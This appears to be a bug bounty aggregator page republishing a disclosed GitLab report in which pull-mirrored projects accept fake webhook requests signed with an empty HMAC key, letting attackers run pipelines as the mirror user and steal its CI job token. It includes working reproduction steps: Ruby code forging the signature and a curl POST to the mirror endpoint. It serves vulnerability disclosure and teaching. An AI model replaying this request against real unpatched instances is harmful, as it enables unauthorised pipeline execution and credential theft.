Skip to content
Access control Disclosed report Intermediate

Run pipelines on arbitrary branches on projects with mirroring configured without authentication

Projects with pull mirroring configured accept unauthenticated webhook requests to trigger pipelines on arbitrary branches because the webhook token is empty. An attacker can run pipelines as the mirror user and, with developer access, steal the mirror user's CI job token.

GitLab

Originally disclosed on GitLab

Critical View original
  • Fixed in 15 days
  • Disclosed after 15 days

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2711204 by pwnie on 2024-09-10, assigned to GitLab Team:

Report | How To Reproduce

Report

Summary

Projects with pull mirroring configured are susceptible to pipelines being ran on arbitrary branches, even without authentication, as the user who configured mirroring. If you can push to the project (e.g. you are developer), you can steal the mirror user's CI_JOB_TOKEN. Pipeline configuration (for pull mirroring) does not have to be enabled either.

This is the commit that introduced the bug. Been around for 4 years.

https://gitlab.com/gitlab-org/gitlab/-/commit/8572eee7a6717ac573ee91ba264e8f6c28d9655b

It might seem as if the bug is falling back to mirror_user but it's actually the fact that web hook tokens are not configured for simply mirrored projects and only for projects strictly using the external CI/CD project feature when creating a new project. So those aren't vulnerable as the signature check will fail. However regularly mirrored projects have a nil web hook token.

Steps to reproduce

  1. Create a project (must have minimum premium Gitlab plan) and configure pull mirroring from any public Github project. You dont have to enable pipelines for pul updates. This works without it.
  2. Create a new branch named foobar
  3. Create example .gitlab-ci.yml:
YML
job:  
  script:  
    - "echo foobar"  
  1. Open irb (ruby interactive interpreter) and execute the following:
signature    = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), '', '{"action": "opened", "  
pull_request": {"number": 123, "head": {"ref": "foobar", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name":   
"username/source-repo"}}, "base": {"ref": "main", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name": "usernam  
e/source-repo"}}}}')  

Before executing replace REPLACE_WITH_LATEST_SHA with the latest sha in your project (the .gitlab-ci.yml commit sha from foobar branch)
5. Execute the following command:

curl --header "X-Hub-Signature: PLACE_SHA1_HERE" --request POST \  
     --header "Content-Type: application/json" \  
     --data '{"action": "opened", "pull_request": {"number": 123, "head": {"ref": "foobar", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name": "username/source-repo"}}, "base": {"ref": "main", "sha": "REPLACE_WITH_LATEST_SHA", "repo": {"full_name": "username/source-repo"}}}}' \  
     "https://gitlab.com/api/v4/projects/PROJECT_ID_HERE/mirror/pull"  

Replace REPLACE_WITH_LATEST_SHA, PROJECT_ID_HERE and PLACE_SHA1_HERE (e.g. sha1=bd6d6962e60d3fa7f55843e4030e48148466d5eb)
6. Notice a pipeline is running for foobar branch

Impact

Run pipelines as mirror user. No gitlab auth necessary. If dev role or above is held, steal mirror_user CI_JOB_TOKEN.

Components affected

Gitlab

Impact

Run pipelines as mirror user. No gitlab auth necessary. If dev role or above is held, steal mirror_user CI_JOB_TOKEN.

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the webhook token used to verify mirror update requests is nil for regularly mirrored projects, so the signature check can be bypassed with an empty key.

Impact

An unauthenticated attacker could run pipelines as the mirror user, and a developer could steal the mirror user's CI job token.

What the attacker needed

Premium GitLab plan; Pull mirroring configured; Ability to push to the project (for token theft)

How it was found

  1. Create a project with pull mirroring configured from a public GitHub project.
  2. Create a new branch named foobar.
  3. Add a .gitlab-ci.yml file to that branch.
  4. Compute an HMAC signature using an empty key over a crafted pull request JSON payload.
  5. Send a POST request to the project's mirror pull endpoint with the signature and payload.
  6. Observe a pipeline running for the foobar branch.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The report found that regularly mirrored projects have no webhook token, so anyone could send a fake mirror update and make the project run a pipeline on a branch they choose, acting as the mirror user and potentially stealing a CI job token.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.